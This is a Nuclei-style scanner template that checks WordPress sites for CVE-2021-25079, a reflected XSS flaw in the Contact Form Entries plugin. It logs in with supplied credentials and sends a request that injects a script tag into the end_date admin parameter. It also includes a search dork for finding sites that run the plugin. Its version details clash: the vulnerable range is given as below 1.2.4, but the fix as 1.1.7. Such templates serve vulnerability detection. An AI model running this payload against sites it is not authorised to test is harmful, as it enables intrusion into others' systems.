54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2021-25079
|
|
|
|
info:
|
|
name: Contact Form Entries < 1.2.4 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
|
|
remediation: Fixed in version 1.1.7
|
|
reference:
|
|
- https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25079
|
|
- https://wordpress.org/plugins/contact-form-entries/
|
|
- https://plugins.trac.wordpress.org/changeset/2629442
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25079
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.41101
|
|
cpe: cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: crmperks
|
|
product: contact_form_entries
|
|
framework: wordpress
|
|
google-query: inurl:"/wp-content/plugins/contact-form-entries/"
|
|
tags: cve,cve2021,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(header_2, "text/html")'
|
|
- "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
|
|
condition: and
|
|
|
|
# digest: 4b0a00483046022100d4ecc1a5d16d4e3d24face9a39fa0f747ed0ae1395e0b64c3fe5480980d47518022100f34ac8417f3be98b35ca21dd8de0410d82fecbc05ee035ce2e7ea51d943c15f9:922c64590222798bb761d5b6d8e72950
|